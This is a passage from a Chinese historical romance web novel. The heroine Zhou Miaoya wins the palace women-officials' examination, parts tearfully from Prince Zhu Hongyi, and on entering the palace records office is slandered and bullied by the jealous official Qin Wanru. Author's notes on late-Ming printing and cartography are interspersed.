墨线已经勾勒完,山川,海岸,国界的轮廓清晰可见,大片区域还留着待填注的空白。 她站在案前看了一会儿。 这幅图也耗费了她许多心血。 徐明阳留下的那些泰西舆图,航海志,还有艾儒略带来的教会地图,她都一一比对过,反复推敲。 为了确认一条海岸线的走向,她时常需要同时翻阅好几本册子,直画到深夜。 如今初稿已成。 她小心翼翼地将画卷起,用细绳系好,又取来两只早已准备好的竹画筒。 她将其中一份誊录的副本放进一个画筒中,准备明日托驿路送去天津卫,听说徐明阳致仕后在那里专心试种新作物,他的妻儿都已回了松江老家。 另一份副本被她装进了第二个画筒中,这份是给艾儒略的,之前他离开汤山行宫时,她曾答应过,待图成之日,会送他一份。 周妙雅做完这些之后,又想起了她之前已将宁王府的四时清供整理成册,什么时节该供什么花,配什么器,衬什么画,如何摆置,她都一一写了下来,还配了些简单的图示。 她想着等她走了之后,无论是青黛还是新来的侍女,照着册子上标注的去做,总不会出错。 今冬漫长得仿佛永无尽头,却也给了周妙雅足够的时间去将手头所有的事情都收好尾,待春回大地,花信到日,该来的终究会来。 ———— 春日午后,阳光和煦,青黛唤小厮在花园的两株海棠间架了一架秋千,笑说天已回暖,要姑娘松动松动筋骨,莫要负了韶华。 周妙雅其实不怎么喜欢荡秋千。 她心里清楚,是青黛自己想玩,所以才打着她的名义张罗。 但她还是笑着点了点头,只站在廊下,静静看着青黛在两株海棠树间忙前忙后的。 小厮们扛来竹子搭架子,青黛在旁边叉着腰指挥,一会儿说这里歪了,一会儿说那里不牢,忙得鼻尖都沁出了汗珠。 白芷也在一旁递绳子,递工具,两人有说有笑,一唱一和,春日的暖阳落在她们身上,衬得两个丫头比枝头的春海棠还要鲜活。 朱弘毅带着长安从月洞门走了进来,瞧见眼前这热闹的景象,便停下了脚步。 长安低声问了句什么,朱弘毅摆摆手,目光却越过忙碌的众人,落在了廊下的周妙雅身上。 周妙雅回头,也看见了他。 她唇角微微弯起,朝他轻轻摇了摇头,眼神里有些无奈,又带着些许纵容。 朱弘毅立刻会意,也笑了笑,没说什么,只负手来到廊下,和她并肩站着,由着青黛胡闹。 青黛踮着脚去拽高处的一只横竿,只见她用力一拉,秋千架子晃了晃,她哎呀一声踉跄着退了两步,差点坐在地上。 白芷忙探手去扶,长安也跑了过去,花影下一时间人影乱叠,好生热闹。 朱弘毅与周妙雅相视一笑。 园中笑声未落,只听月洞门外忽然传来急促的脚步声。 只见门房小跑而至,气还没喘匀,就朝朱弘毅急急躬身道:“王爷,中宫懿旨到了,司言司的女官大人亲来宣旨,已在前厅候着。” 朱弘毅微微怔了怔。 皇后上一次派人来宣旨,还是让他办赏花宴,如今春暖花开,难不成又想让他办宴了? 他侧目看了一眼周妙雅,她却未迎视,侧颜看起来十分沉静,目光仍落在园中那两株海棠树上。 “知道了。” 朱弘毅吩咐门房,又转向园中众人:“都先停下,随本王去前厅接旨。” 青黛和白芷连忙放下手中的东西,小厮们也都垂手肃立,一行人鸦雀无声,紧随朱弘毅与周妙雅,往前厅去了。 前厅里,司言司女官已静候多时,见朱弘毅进来,她上前一步,含笑施礼:“宁王殿下,恭喜恭喜。” 朱弘毅还礼:“不知喜从何来?” 女官站直身子,目光移向他身后的周妙雅,笑意更深:“贵府上的周女官,于今岁内廷的女官大考,夺了魁首。” 厅中霎时一片寂静。 女官继续道:“周女官殿试上写的那篇《坤维正则乾纲固》的策论,圣上与几位阁老都已读过,圣上亲口询问:这文章,可是出自女学士之手?” 她顿了顿,将懿旨徐徐展开,朗声宣读道:“尚宫局总管事崔尚宫奉圣上,皇后娘娘旨意,特命下官前来宣旨,着宁王府司画女官周妙雅进宫为官,即日起入尚仪局司籍司担任女史。” “周女史,接旨吧。” 周妙雅伏跪于地,双手接过那道明黄色的卷轴。 她垂着头,能分明地听见自己平缓的呼吸声,而身边那人的气息,却在那一瞬骤然停滞。 朱弘毅没有出声。 然而他周身的气压,就在那一瞬骤然下降,寒若冰霜。 只是当着宫中女官的面,碍于自身教养与皇家体面,他没有发作。 司言司女官又说了几句场面话,无非是勉励之辞。 周妙雅一一应下,声音平静,无半分波澜。 待女官离去,前厅里只剩宁王府众人。 青黛,白芷,长安与几位管事仍跪在原 地,面面相觑,他们中竟无一人知道周妙雅何时报名内廷女官大考,更未料到她一路闯进了殿试,还夺了魁首。 朱弘毅缓缓起身。 他没有看周妙雅,也没有看任何人。 只是拂袖,转身,大步朝厅外走去。 直至脚步声渐远,彻底消失在回廊尽头。 前厅中静得可怕。 青黛最先回过神,慌忙起身去扶周妙雅:“姑娘,您…” 周妙雅轻轻推开她的手,自己站了起来。 她声音很轻:“都散了吧,该做什么,便做什么去。” 众人惴惴,终究不敢多问,于是纷纷退了出去。 周妙雅双手紧紧握着那道懿旨,呆立了片刻,然后毅然转身,朝朱弘毅的书房走去。 廊下无人,日影将她的身形拉得极长。 她在书房门外停下,抬手,轻轻叩门。 里面没有任何回应。 她也不走,就静静地在门外站着,廊下的风有些微凉,吹起她鬓边的碎发。 也不知道过了几个时辰,也许更久,廊外的日光慢慢暗了下去,沉成一片昏黄。 周妙雅仍立原地,一动未动。 书房的门忽然被推开。 周妙雅抬头,看见朱弘毅身披玄色外袍走了出来,他步履匆匆,手中握着马鞭,显然是一副要出门的样子。 他径直从她身侧走过,脚步未停,甚至连看都没有看她一眼,仿佛廊下无人一般。 就在他即将跨出院门的那一瞬,身后忽然传来急促的脚步声。 下一瞬,一双手臂从后面紧紧环住了他的腰。 她抱得很用力,像是用尽了全身的力气,怕稍一松手,他就会消失不见。 朱弘毅整个人僵在原地。 那些被他刻意压下,翻涌了一下午的情绪,在这一刻全都冲了上来。 醋意,误会,爱恋,温存,拥抱,亲吻,所有记忆交织成网,勒得他心口骤紧。 良久,他终于开口,声音哑不成声:“为什么?” 他试图掰开她的手,她却抱得更紧。 “为何要背着我,偷偷去赴考?” 他侧首,声线压得极低,却压不住声音中的颤抖:“周妙雅,放手。” 她不动,只是将抱着他的双臂又收紧了几分。 朱弘毅胸口剧烈起伏,他深吸了一口气,语气亦软下了几分:“你先放开。” 周妙雅这才缓缓松开,指尖却仍勾着他腰侧的衣角,像是怕他真的走了。 他回身,看见她抬起脸,眼眶红得厉害,泪珠颤在睫毛上,将坠未坠。 一腔怒火霎时化作涩意,他哑声问她:“周妙雅,是你不信我能为周家翻案,还是你从未喜欢过我?在你心里,我究竟算什么?” 他逼前半步,声音压得更低却也更急:“你可知宫中如今是个什么局面?魏琰一手遮天,连顾凌云那样的身份,说下诏狱便下诏狱,你现在进宫,就是自己往龙潭虎穴里跳…” 话没说完。 周妙雅忽然抬手,手指轻轻覆上他的唇。 她指尖冰凉,带着细微的颤抖。 他所有未说完的话都被堵在了喉咙里。 突然,她踮起脚,吻了上来。 那吻带着生涩,轻若雪落,温柔而决绝。 朱弘毅脑中瞬间一片空白。 被她隐瞒的失落,被她背叛的怒意,裹挟着这一下午积攒的冰冷与失望,在她的唇贴上来的一瞬,如春阳映雪,悄无声息地全都化了。 只剩下胸口一点点隐隐的痛。 她松开他,退后了半步,泪眼朦胧。 “二郎…” 她开口,声音又轻又软:“谢谢你。” “谢谢你在风雪夜中将我救起,谢谢你为我请旨做女官,谢谢你陪我揭开祖母去世的真相,谢谢你陪我去苏州送灵…” 她吸了吸鼻子,泪珠终于滚落了下来: “谢谢你包容我,爱我,给了我这些年…最像家的日子。” 朱弘毅的喉结剧烈滚动着,千言万语被堵在喉间,却说不出一个字。 周妙雅往后退了一步,拉开距离,然后朝他,深深一礼。 “对不起。” 她直起身,望向他,眼中含着泪,却带着笑: “忘记我,好吗?” 话音未落,她已转身奔入暮色,头也不回地跑了—— 作者有话说:晚明的刻书、出版业已称得上“商业出版井喷式爆炸”,其发达程度远超宋元,也超过明初。现存明版书三万种以上,其中 60 % 出自万历至崇祯;国家图书馆善本库晚明刻本比例高达 70 %,足见“晚明一刻”几乎淹没此前所有版本。 京城宣武门内铁匠胡同的叶氏书铺,以刊售缙绅录为核心,兼及科场与日常用书,是晚明北京民营书坊中地点明确、产品可考、经营方式清晰的典型代表。 据万历十一年冬刊、翌年春季印行的蓝印本《新刊真楷大字全号缙绅便览》扉页牌记,该铺“设在宣武门里铁匠胡衕”(今北京西城区铁树斜街一带)。铁匠胡同分东、中、西三段,叶铺位于东段,距正阳门内书肆区与后来的琉璃厂书市都很近,地段繁华而租价相对低廉,便于面向衙门官员和赴京考生零售。 《坤舆万国全图》是现存最早的一幅中文彩绘世界地图,由意大利耶稣会士利玛窦(Matteo Ricci)主笔、明朝官员李之藻出资刊刻,完成于明万历三十年。艾儒略的原型就是利玛窦,徐明阳的原型是杂糅的徐光启和李之藻,以徐光启为主。《坤舆万国全图》现藏于南京博物院。 第85章 皇城内, 乾清宫东,六尚局公署。 六局二十四司总管崔尚宫端坐在值房内,手中拿着一份誊抄的试卷, 细细地读着。 她对面的尚仪局总管冯尚仪安静地候着, 垂手而立, 正等着这位六局最高长官示下。 崔尚宫的视线落在卷面上,看了很久,半晌,方才缓声问道:“冯尚仪可还记得,初阅此卷时的情形?” 冯尚仪微微颔首:“回禀尚宫,自是记得,下官初展此卷, 见极具风骨的颜体,骨力遒劲, 着实是令人震惊, 若非知是女官大考,还以为是出自哪位翰林学士之手。” “不止是字。” 崔尚宫含笑,指尖轻点卷面:“你再看这文章, 《坤维正则乾纲固》,通篇千余言, 以坤道辅乾纲,立意宏阔, 气象森然。” 说到这,她身子微微向前倾了倾, 赞许道:“文章说,坤道不修,则乾纲必弛, 内治不肃,则外权难振,此文句句似论君臣,实则笔笔在为女子立言,妙哉,妙哉啊。” 冯尚仪眸光微动。 崔尚宫将试卷轻轻放下,继而说到:“你细品,坤维正则乾纲固,六宫之治若井然有序,前朝纲纪便不易紊乱,女子若明理知义,家门之内和睦清明,男子在外方能安心建功立业,这是把女子的本分,提到了维系天下纲常的高度。” 说到兴处,她端起茶盏,抿了一口:“此文通篇不露为女子争权二字,却字字都在说,女子之事,并非小事,此等见识与笔力,便是放在翰林院也毫不逊色,果然是文老太爷亲自培养出来的孙女,此女若是男子,文家怕不是要一门两翰林。” 冯尚仪欠身应和道:“大人说的是,下官初阅此卷,亦觉其格局宏阔,非寻常闺阁笔墨,字里行间,自见乾坤。” 崔尚宫却微微摇了摇头:“正因锋芒太盛,才不可一步捧上云端。” 她放下茶盏,看向冯尚仪:“尚仪可还记得,拆了弥封,看到名字时的情形?” 冯尚仪回道:“周妙雅,下官当即记起,便是前几年蒙陛下亲赐天下第一才女金匾的那位,宁王府司画女官,正六品。” “正是。” 崔尚宫声音沉静,若有所思:“既有御赐金匾,又是王府六品女官,本就已在风口浪尖,若此次大考再直接擢升高位,难免引人侧目,于她而言并非好事。” 她顿了顿,又道:“少年得志,最易 摧折,多少英才,毁就毁在一个捧字上,压一压,磨一磨,反倒能走得长远。” 冯尚仪垂眸静听,没有打断。 崔尚宫抬眸,继续说道:“圣上祖父朝中的元辅张居正,你可还记得?” 冯尚仪颔首:“下官记得,元辅少时便有神童之名。” “是了。” 崔尚宫声音缓缓说道:“他少年便聪颖过人,很小就成了荆州府远近闻名的神童,十三岁参加乡试,文章写得锋芒毕露,阅卷官无不拍案称奇。” 她端茶未饮,又搁回案上。 “可当年湖广巡抚顾璘,偏压了他三年,没让他中举,你道为何?顾璘后来说,他是见张居正才气太盛,怕他少年得志,心性未定,反误了长远前程,需得压一压,挫一挫,多加磨砺,方能成大器。” 冯尚仪会意:“所以大人的意思是…” 崔尚宫道:“将她留在你尚仪局,司籍司,从没有品级的女史做起,司籍司掌经籍图书,笔札几案,皆是案头功夫,正适合她。” 她又补了一句:“我查过她在宁王府的职司,瀚海楼数万卷藏书,皆由她一手整理编目,还刊刻了《瀚海楼书画录》,这份耐性与细致,司籍司恰是其用武之地。” 冯尚仪沉吟片刻,眉头微蹙:“只是…司籍司杂务繁重,女史又无品级,她毕竟是陛下亲赐金匾之人,若觉委屈,恐生怨意。” 崔尚宫声音平静:“若连这点委屈都受不住,那她的才气,也不过是镜花水月,当不得真。” 冯尚仪躬身:“下官明白了,定会好生磨砺,不负大人栽培。” 崔尚宫微微颔首,唇角拂过一丝笑意,便不再言语。 ———— 朱弘毅踏入坤宁宫时,正撞见顾凌云从里头出来。 两人在宫门口打了个照面。 顾凌云脚步稍顿,抬首看了朱弘毅一眼。 朱弘毅也停住脚步,迎上了他的目光。 两人谁也没说话,只是互相极轻地点了下头,旋即便错身而过。 朱弘毅随即步入坤宁宫暖阁,皇后笑道:“稀客,稀客啊,今儿是什么风,把宁王殿下吹到本宫这儿来了?” 朱弘毅入内,趋步见礼:“给皇嫂请安。” 皇后抬手示意他坐,随即挥退左右:“都退下吧,本宫与宁王叙叙家常。” 宫人们悄无声息地退了出去,暖阁里只剩他二人。 皇后这才看向朱弘毅,神色认真:“上回凌哥儿的事,多亏皇叔出手相助,若非那幅画,本宫与凌哥儿恐难全身而退,此恩此德,本宫铭记于心。” 朱弘毅摇了摇头:“皇嫂言重了,一家人,本该如此。” 皇后便也不再客套,开门见山地问道:“皇叔今日来,是有何事?” 朱弘毅抬眸,语气冷静:“是想求皇嫂帮忙庇护一人。” “谁?” “司籍司新上任的女史,周妙雅。” 皇后闻言,眉梢轻轻一挑。 她看了朱弘毅片刻,忽然笑道:“是那个今科女官大考的新科女状元,陛下亲赐天下第一才女匾额的周妙雅?” 朱弘毅低声道:“是。” 皇后端起茶盏,指尖拂过盏沿,缓声道:“说来也巧,方才凌哥儿进宫,求的竟是同一件事。” 朱弘毅眸色微凝:“顾凌云?” “嗯。” 皇后抿了口茶,放下茶盏:“他来求本宫,说司籍司新任女史周妙雅,是他旧识,盼本宫能稍加照拂。” 说罢,她的目光看向朱弘毅,故意拖长尾音,明知故问:“怎么,皇叔与这位周女史,也有交情?” 朱弘毅沉默片刻,才道:“她原是我宁王府的司画女官。” “本宫知道。” 皇后目光微挑,言语中带着试探:“她参加大考前便在你府上任职,若只是寻常主仆,皇叔何必亲自跑这一趟?如今她已入宫籍,与宁王府再无干系,皇叔这般上心,倒是叫本宫好奇。” 朱弘毅没有接话。 皇后微微俯身,声音放轻了些:“皇叔,你实话告诉本宫,你求本宫庇护她,当真只是因为主仆一场?” 暖阁中霎时静了一瞬。 朱弘毅垂眸,目光落在袖口暗纹上,半晌,才极淡地开口: “不然皇嫂以为,还能有什么别的原因?” 他声音极其平静,听不出任何情绪。 皇后望了他良久,才缓缓倚回椅背,唇角勾起一抹似笑非笑:“本宫以为…皇叔心里,并不只当她是寻常女官。” 朱弘毅抬眼,迎上她审视的目光,与她平视。 皇后没再继续逼问,只端起茶盏,又抿了一口。 半晌,她才将茶盏轻轻一搁,抬眼望向朱弘毅,神色比先前更肃然了几分:“既然你们一个两个都登门来求本宫庇护她,那有些话,本宫便要说在前面,与你们讲个分明。” 朱弘毅微微前倾,凝神静听。 皇后缓声续道:“六局二十四司,表面上是同僚,实则暗里各归其主,粗浅可分三派,一派效忠于本宫,一派附庸于魏琰,余者则左右不靠,只求自保。” 她顿了顿,继续说道:“这三派之间,明争暗斗从未停过,今日你压我一头,明日我寻你个错处,翻手为云覆手为雨,都是寻常事。” 朱弘毅凝神静听,并未插言。 皇后的声音沉了下来:“皇叔你也知道,魏琰视本宫为眼中钉,肉中刺,可偏偏他又得李太妃撑腰,在宫中经营多年,根基深厚,本宫这个皇后…看似风光,实则真正握在手里的,不过坤宁宫这一亩三分地。” 她看向朱弘毅,眼中透出几分无奈:“本宫若明着庇护周女史,将她划入本宫麾下,魏琰会怎么想?李太妃又会怎么想?” “他们会觉得,周妙雅是本宫新收的棋子,是拿来对付他们的利器,届时,明枪暗箭,都会冲着她去,一个刚入宫、毫无根基的女史,如何挡得住?” 朱弘毅的眉峰微微蹙起。 皇后看着他,继续道:“皇叔,庇护分两种,一种是摆在明面上,昭告天下这人我护着,另一种,是藏在暗处,不露痕迹地周全,前者看似威风,实则树敌,后者虽不张扬,却能保人平安。” “既然皇叔与凌哥儿都开了口,本宫自然也不会坐视不理,皇叔且放心,本宫心中自有分寸,明面上不插手,暗里会遣人盯着,不会任谁轻易欺她。可再往后的路,得靠她自己走,想要在这宫里活下去,单靠人护,是远远不够的。” 朱弘毅起身行礼:“皇嫂思虑周全,臣弟感激不尽,后宫之事,本王不便越俎,日后周女史的安危,还需皇嫂多多照拂。” ———— 朱弘毅从坤宁宫离开时,天色已近傍晚。 琉璃瓦映着残阳,被夕照镀上一层赤金。 他刚走下台阶,抬眼竟见顾凌云还站在那里。 就在坤宁宫外几步的宫道旁,着一身飞鱼服,静静立在暮色之中。 朱弘毅只瞥了他一眼,便收回目光,径直朝宫外走去。 “王爷。” 顾凌云的声音自身后而来,他声音不高,却清晰分明。 朱弘毅步履未停。 “下官在此,等候王爷多时。” 顾凌云的声音又追了上来。 朱弘毅这才止步回身,顾凌云已走到了他面前。 “北镇抚司闲的无事?” 朱弘毅语气平淡:“顾佥事在此等候本王,所为何事?” 暮色渐浓,宫灯未燃。 顾凌云开口,语气中却带着质问:“那天在玉清观,她见你在山门下等她,眼里的爱意根本遮掩不住。她全然不顾我在身侧,径直奔向你,那时我以为,我再也没有机会了。” 朱弘毅没说话,只是静静看着他。 顾凌云逼前半步,声压得更低更沉:“可她为何突然要进宫?” 他盯着朱弘毅的眼睛,寸步不让:“可是王爷,负了她?” 一阵风吹过,卷起宫道上几片碎叶。 朱弘毅看了他片刻,唇角极淡地扯了一下:“顾佥事,本王还有要事在身。” 说罢,他转身便要离开。 “朱弘毅。” 顾凌云直呼其名。 朱弘毅脚步顿住。 顾凌云走到他面前,挡住去路。 暮色里,两人对面而立,身形几乎一般高。 顾凌云的声音很静,静得让人生寒:“我原想与你作君子之争,她选谁,我都认。可若你负了她,那便无论你是谁、身居何位,都不配我再以君子相待。” 他话音方落,朱弘毅终于抬眼,与他正视。 良久,方才冰冷回应:“我们之间的事,与你无关。” 说罢,他便绕过顾凌云,头也不回地朝宫外走去…—— 作者有话说:宝子们,你们年前忙不忙啊?我真的要忙疯了!!还好我有存稿,不然我真的不行了……做项目管理真的天天跟个夹心饼干一样,各种夹心受气[爆哭][爆哭][爆哭]祝我这周三项目汇报顺利,今年开年就评估了三个大项目我现在心力交瘁 第86章 朱弘毅自坤宁宫离去后, 良久,皇后顾云舒方才缓缓开口,唤道:“如意。” 如意候在门扉, 闻唤垂首而入:“娘娘。” 顾云舒端起手中茶盏, 叹道:“方才的话, 你都听见了吧。凌哥儿与宁王前后脚登门,都是为的一个周妙雅。” 如意垂首不语。 皇后继而又叹道:“本宫又不傻,他俩那点心思,谁还看不出来?一个字字句句都绕着她转,另一个明里暗里的让本宫护着她,凌哥儿性子冷,宁王更是个藏得深的, 如今竟都为了同一个人,把话摊开摆到本宫面前。” 说罢, 她顿了顿, 放下手中茶盏: “本宫这个弟弟和小叔,手心手背都是肉。凌哥儿是本宫一手带大的,性子直, 认死理,宁王又刚刚从魏琰手中救下我们姐弟二人, 倒是我们姐弟俩,还欠他一份恩情。” 如意抬眸, 正瞥见皇后眼底那抹忧色。 顾云舒揉了揉眉心:“如今两人看上同一个女子,眼下还能守着分寸, 可日后呢?情之一字,最易生隙,本宫可不愿见他们将来为了个女子撕破脸皮。” 殿内瞬间沉默了片刻。 半晌, 如意才开口轻声询问:“那娘娘的意思是…” 顾云舒抬眸,望着窗外的暮色一寸寸地沉了下去。 而后她淡淡道:“再瞧一阵看看,周妙雅此女,本宫先前只觉她有些才情风骨,如今看来,倒是个能牵动风云的。她到底值不值凌哥儿与宁王如此拼命相护,又能不能在这吃人的宫里活出个名堂来,本宫尚未看得分明。倒是本宫与魏琰如今斗得水深火热,身边正缺得力人手,这周妙雅到底能不能为本宫所用,还得再看看。” 说到这里,她转向如意,神色恢复了平静:“你去一趟司籍司,不必露面,想法子给田司典递个信。” 如意立刻会意:“司籍司正七品司典田贞兰?” 顾云舒微微颔首:“让她暗中照拂周妙雅一二,不必刻意,只消保她不被那些腌臜手段埋没便好。” 如意屈膝:“奴婢明白。” 而后,她顿了顿,又问道:“若是…若是周女史真遇着什么难处,田司典该帮到何种地步?” 皇后沉吟片刻: “保她性命无虞即可,至于旁的,且看她自己的造化。本宫倒是要瞧瞧,这女子究竟配不配得上那两个傻小子的一片真心。” 如意这才领命退下。 ———— 安和郡主提着裙角,匆匆拐进西六宫一处偏僻的宫殿。 司籍司正七品司典秦婉如已立于廊下等候多时,听到脚步声,方才回身。 见安和郡主前来,她俯身福了一礼:“郡主。” 安和郡主环顾四周,低声道:“此处可方便说话?” “郡主放心,下官提前支开了人。” 秦婉如抬眼,目光掠过安和郡主微急的容色,淡淡道:“郡主急寻下官,所为何事?” 安和郡主扯了扯嘴角,往前凑近半步,压低声音道:“还能为谁?据说那位天下第一才女要进你们司籍司做女史了。婉如妹妹,你怕是还不知道那周妙雅是个什么货色。” 秦婉如眼神动了动,唇角勾出一丝笑意:“原来是为了她啊,下官倒是好奇想听听,这位才女究竟是何等人物。” 安和郡主咬得银牙作响,声线从齿缝中挤出:“那可是个狐媚子!天生的贱骨头!你当宁王兄为何待她特别?还不是使了下作手段…我告诉你,我嫂嫂康靖瑶,就是被她活活害死的。” 秦婉如的指尖在袖中悄然蜷紧,她脑海中闪现过十五岁那年在宴会上对宁王一见倾心的画面,他那般如朗月照水的人物,抚琴吟诗,霁月清风,她心中岂能容得下他被这狐媚子玷污? 她心头骤起恨火,声线带着颤:“郡主所言…可属实?” 安和郡主冷笑道:“你是不知道,文家状元郎和康嫂嫂大婚那夜,宾客还没散尽呢,那不知廉耻的周妙雅便披着一袭近乎透明的寝衣,悄悄潜到新房院外,截住微醺的大伯哥,泪光点点,软着嗓子喊什么毓瑾哥哥,身子直往人怀里倚,那画面,别提多香/艳了。” 秦婉如将袖中的手攥得更紧了几分。 安和郡主啐道:“当晚闹得鸡飞狗跳的,康嫂嫂刚揭了盖头,出门就撞见那狐媚子衣衫不整地贴在自己夫君身上,当场气晕了过去!” “那后来呢。”秦婉如的声音急切地问道。 “后来?” 安和郡主冷笑:“堂堂首辅嫡女,能咽得下这口气?当即喊了嬷嬷,把人按在院中,劈头盖脸一顿棍棒,连件遮体的衣裳都不给。文家怕丑事外扬,连夜用马车把人拖了出去,卖进了最下等的窑子。” 她盯着秦婉如渐渐发青的脸,啐道:“我呸,什么天下第一才女?就是个窑姐儿罢了!若非宁王殿下路过顺手捞出,如今她还倚着破门卖笑,接那三文钱一桩的恩客呢!” 秦婉如深吸了一口气,指甲几乎要掐进掌心:“郡主说这些,是想让下官做些什么?” 安和郡主弯了弯唇角,慢悠悠抚着袖口:“我能求你做甚?不过是瞧不惯那等贱人玷污了宫闱,又怕妹妹你…被蒙在鼓里,白白受了委屈。” 她上前一步,轻轻拍了拍秦婉如的手背:“婉如妹妹,你是名门出身的大家闺秀,最是清誉自持,这六局二十四司,哪一个女官不是凭真本事考进来的?你们这清清白白的一支队伍,怎么能容得下一个…肮脏的窑姐儿?” 秦婉如猛地抽回手。 安和郡主也不恼,只俯身更近,看着她笑:“咱们这等门第,最讲究清白二字,可有些人啊,骨子里脏了,就算披上一身装模作样的官服,也改不了那股子…窑姐儿的骚味儿。” 说到此处,她满意地笑了笑:“妹妹是聪明人,那周妙雅今晨已赴司籍司报到,夜里便要与妹妹同院共宿,到时候…妹妹可要好生款待款待。” 秦婉如攥紧拳头,强忍着心中怒火,恭谨回道:“郡主的话,下官记下了。” ———— 秦婉如回到六尚局衙舍后身那片低矮的配房时,正见一群已下值的女官围在寝舍院子里叽叽喳喳。 她方踏进院门,便听外围几人在说闲话: “喏,就是那个…” “当真是今科大考的魁首?” “那还有假!崔尚宫亲口所言,她那篇《坤维正则乾纲固》,把几位阁老都震住了,听说那篇文章如今在翰林院争相传阅呢…” 秦婉如从她们身边走过,微侧身挤进人群,只见中央立着几张生面孔,俱是穿着崭新的青袍,显是今日方入宫报到的新女官们。 她余光扫了扫身边的女官,发现所有人的目光都齐刷刷地看向其中一个身形纤细,窈窕娉婷的女子身上。 只听到角落里有人低声叹道:“真美…” 站在旁边的另一人神思游离地接语道:“比画上的仙娥都美…” 身旁另一女官轻声感叹,似怕惊 碎月色:“我这辈子,都没见过此等绝色的大美人儿…” 短暂的一瞬沉默后,忽然听到身后有人压着促狭的笑:“这等样貌,这等才学,若是叫陛下瞧见了,还不得…将她纳为妃嫔?” 话音未落,只见身侧一女官已扯住她袖子,急声低斥道:“浑说什么!此等话也敢随意说出口?” 秦婉如不屑地白了她们一眼,小声嘀咕着,真是些个没见过世面的蠢货。 她侧身退出人群,朝屋角招了招手。 三个平日里跟她走得近、常凑在一处说话的女官见状,互相递了个眼色,从人堆边缘悄悄挪步过来。 “秦司典。” 秦婉如双眼仍盯着人群中那被夸美貌的身影,低声问道:“哪个是周妙雅?” 其中一个女官抬手指了指:“就那个…被围在中间,站在灯下的那个。” 秦婉如的视线顺着那手指的方向,再次落在周妙雅脸上。 她盯着看了片刻,从鼻子里轻嗤了一声:“果然是个狐媚子。” 身旁一人立马附和道:“可不是吗,生得这般颜色,还做什么女官?怎不去给陛下做妃子?” 秦婉如听到这话,噗嗤一声笑了出来:“陛下?陛下可不要这等脏东西。” 周围几人一愣,齐刷刷地看向她。 秦婉如慢悠悠地理了理袖口,声音不高不低:“你们怕是还不知道吧?那周妙雅,自幼无父无母,寄养在她表哥文状元府上。” 她顿了顿,见众人都竖起耳朵,才接着道:“文状元大婚,娶的是康首辅的千金,你们猜怎么着?洞房花烛夜,这狐媚子竟披着件薄透寝衣,跑到新房院外头,拦下了微醺的文状元。那哭得叫一个梨花带雨,诉什么多年衷肠…康氏刚揭了盖头出来,正撞见自己夫君被这么个脏东西贴着,当场就气得厥了过去。” 听到这里,几个女官倒吸一口凉气。 秦婉如唇角勾着冷笑:“后来康家的嬷嬷把她按在院中,一顿棍棒打得皮开肉绽,连件蔽体的衣裳都没给留,文家怕丑事外扬,连夜用马车把人拖出去,卖进了京城最下等的窑子。” 她扫了一眼周围几副惊愕的面孔,低声道:“她可是窑姐儿出身,惯会那些勾栏里的做派,如今披上这身官服,还真当自己是清白人了?” 话音刚落,她身边一个心腹女官立刻凑上前来,满脸惊怒道:“竟有此等事?秦司典,这等腌臜之人,怎配与我等同处一院?岂不玷污了六局二十四司的清誉!” 秦婉如瞥了她一眼,没接话,只抬眼望向远处新女官居住的寝房。 她沉默了片刻,忽然侧过头,朝心腹招了招手。 心腹会意,立马附耳过去。 秦婉如压低声音与她耳语了几句,那心腹听着,眸光骤亮,嘴角勾起一丝笑意,不住地点头。 说罢,秦婉如直起身,淡淡道:“去吧。” 心腹应了一声,转身向另两个素日里与秦婉如交好的女官递了个眼色。 三人快步走到院角的井边,合力摇起轱辘,打上来满满一桶冰冷的井水。 方才院中聚集的人群此刻已经散去,周妙雅也回了寝房。 低阶女史四人同舍,此刻她正背门而立,低头整理着下午新领的被褥。 只见那三人气势汹汹,吱呀一声粗暴推开了寝房的大门。 周妙雅听见门响,指尖微微顿了顿,却未回头,仿若身后风浪与她无关。 那三人抬着木桶,径直朝周妙雅走去,走到她床边,合力将木桶抬高,对准那张铺位—— “哗啦!” 一整桶冰水倾泻而下,瞬间便浇透了床铺上单薄的被褥。 周妙雅猛地回身。 她脸上没什么表情,昏黄的灯光下,她双眼死死盯着那罪魁祸首的三个人,眸色静得吓人。 几滴水珠溅在了她的颊边,顺着下颌线滑落,没入衣领。 院中气氛骤然凝固。 顷刻间,脚步声,低语声,推门声纷沓而至,女官们自各屋涌出,纷纷围至门前,探头探脑地往里面瞧。 秦婉如这才拨开人群,慢悠悠地踱步过来。 她站在门槛外,目光掠过满室狼藉,停在周妙雅脸上,唇角弯了弯。 “哟。” 她声不高,却字字透着寒意:“这是怎么了?新来的妹妹竟不懂规矩,连床铺都照看不好?” 第87章 水珠顺着脸颊滚落至下颌, 周妙雅没有抬手去擦。 她抬起头,冰冷的目光越过门口围观的众人,落在秦婉如脸上。 四目相对。 秦婉如唇角仍挑着弧度, 眼底却在周妙雅极度静冷的凝视下, 极快地闪过一丝慌乱。 周妙雅死死地盯着她, 心里忽然冒出个念头:好拙劣、好低级的手段… 泼水,毁床铺,当众羞辱… 哪一样像是浸/淫深宫多年、位列正七品司典女官该有的城府? 倒像是…被人推至阵前的卒子,心急火燎地想要耀武扬威,结果连棋盘都没看清楚便胡乱落子。 周妙雅定了定神。 在满室的死寂中,她俯身攥住那床湿透的被褥,用力一拽。 只听得冰冷的井水哗啦一声, 淌得满地都是。 围在门口的女官们皆下意识地向后退了半步。 只见周妙雅抱着那团湿淋淋还往下滴水的被褥,步履不乱, 转身大步朝门外走去。 人群自动为她分开了一条道。 周妙雅脚步未停, 她穿过院子,直冲秦婉如所居的厢房而去。 秦婉如见状,脸色霎时就变了。 “你!” 她脱口而出, 立刻抬脚跟了上去。 周妙雅在秦婉如房门前停下了脚步。 那门虚掩着,暖黄色的灯光自门缝溢出。 周妙雅就站在那里, 怀中抱着那团湿透的被褥,水顺着她的手臂直往下淌。 秦婉如从后面追了上来, 呼吸急促,声音陡然拔高, 带着压不住的慌乱:“周妙雅!你要干什么?” 周妙雅缓缓回身,面上无波无澜,只一双明亮的眸子映着檐下的明角灯, 静得叫人心底发毛。 “秦司典。” 她缓缓开口:“我的床铺…不小心被水浸湿了。” 说到这里,她顿了顿,双眸紧紧盯着秦婉如: “今夜天寒,下官实在无法安寝,不知可否…借宿在秦司典这里?” 秦婉如愣了一瞬。 她像是没听清,又像是没反应过来,只一双眼睛狠狠盯着周妙雅,嘴角的弧度僵在了脸上。 片刻之后,秦婉如这才缓缓抱起双臂,下巴挑高,从鼻子里嗤出一声冷笑:“周女史莫不是糊涂了?” 她语气轻慢:“我与你非亲非故,连话都未说过几句,凭什么收留你?床铺湿了便自己想法子弄干,跑来扰我清净做甚?” 